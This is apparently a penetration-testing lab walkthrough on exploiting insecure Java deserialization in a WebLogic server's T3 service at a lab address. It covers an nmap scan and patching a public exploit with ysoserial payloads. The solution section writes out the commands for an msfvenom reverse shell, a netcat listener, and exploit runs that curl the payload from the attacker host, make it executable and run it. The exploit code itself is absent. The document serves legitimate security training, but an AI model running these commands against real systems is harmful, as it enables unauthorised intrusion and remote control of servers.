LM9b Java Insecure Deserialization 2

The document describes exploiting a vulnerable WebLogic server through insecure deserialization. It discusses patching an existing WebLogic exploit to achieve remote code execution on the target server located at 172.16.64.222 port 7001 by interacting with the vulnerable T3 protocol service and altering the exploit payload.

GETTING STARTED

Your goal is to exploit a vulnerable to insecure deserialization WebLogic instance. Before you start, you
might want to read this article which includes details regarding the discovery of that vulnerability. The
vulnerability is related to insecure deserialization when handling the T3 protocol.

• Patch a publicly available WebLogic exploit


• Achieve remote code execution

• Reworking deserialization exploits


• Attacking WebLogic

• Ysoserial
• Python
• https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/weblogic.py
• Nmap

The target application server is available on the 172.16.64.222 IP address.

GETTING STARTED

Find the service that matches the publicly known deserialization vulnerability of WebLogic and try to
interact with it.

Figure out how the exploit should be altered in order to be able to use the serialized payloads of choice.

Hint: The T3 protocol that is wrapping the Java object needs to be taken into account. The payload
length is defined by the first 4 bytes of a header, so make sure you update this header with the correct
length.

Confirm code execution and then proceed to establishing a fully functional reverse shell.

SOLUTIONS – TASK #1

Below, you can find solutions for each task. Remember though, that you can follow your own strategy,
which may be different from the one explained in the following lab.

Starting with a nmap scan we can find a service running on port 7001.

nmap 172.16.64.222 -v -Pn -T4 -p- -sV


(…)
Nmap scan report for 172.16.64.222
Host is up (0.14s latency).

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.0 (T3 enabled)

The T3 protocol was identified by nmap to be enabled. If you run Wireshark during the nmap scan you
will see that nmap was able to speak with weblogic in T3.

sock.send(payload)

It has some issues, first, the ysoserial payload is hardcoded, and we will need to generate several
payloads on the way to code execution. We can incorporate ysoserial to the exploit itself by calling
os.system(“java -jar ysoserial.jar”). Due to the structure of the T3 protocol, we will also need to fix the
length of the payload so that it is padded to 4 bytes. Specifically, we will need to calculate the length of
the chosen payload, turn it to hex, update the header with the proper length, and finally prepend the
updated header.

The updated exploit can be seen below.

sock.send(payload)

We can set up a listener in order to verify if code execution was achieved. First, tcpdump is launched, as
follows.

tcpdump -i tap0 icmp

Then, the exploit is run.

python w.py 172.16.64.222 7001 /root/java/ysoserial-master-SNAPSHOT.jar "ping


172.16.64.3"

Below you can see the results of running the exploit and tcpdump capturing ICMP traffic.

SOLUTIONS – TASK #3

In order to execute code on the remote machine, let’s first create a Metasploit reverse shell using the
msfvenom utility. We use a 32-bit payload because we don’t know the specifics of the target system
infrastructure. 32-bit can work on x64, while x64 will not work in case of the target architecture being
32-bit.

msfvenom -p linux/x86/shell_reverse_tcp lhost=172.16.64.3 lport=9999 -f elf -


o 9999.elf

We also setup a netcat listener that will be listening for connections on port 9999.

nc -lvp 9999

Next thing will be to host the msfvenom payload using a Python SimpleHTTPServer. In the same
directory where the payload was generated, execute the below.

python -m SimpleHTTPServer 8888

Finally run the exploit specifying the curl command, as follows.

python w.py 172.16.64.222 7001 /root/java/ysoserial-master-SNAPSHOT.jar "curl


http://172.16.64.3:8888/9999.elf -o 9999"

The result can be seen below.

Next, two more exploit runs are needed in order to make the downloaded payload executable and
execute it.

SOLUTIONS – TASK #3

python w.py 172.16.64.222 7001 /root/java/ysoserial-master-SNAPSHOT.jar


"chmod +x 9999"
python w.py 172.16.64.222 7001 /root/java/ysoserial-master-SNAPSHOT.jar
"./9999"

The shell should arrive on the netcat listener.
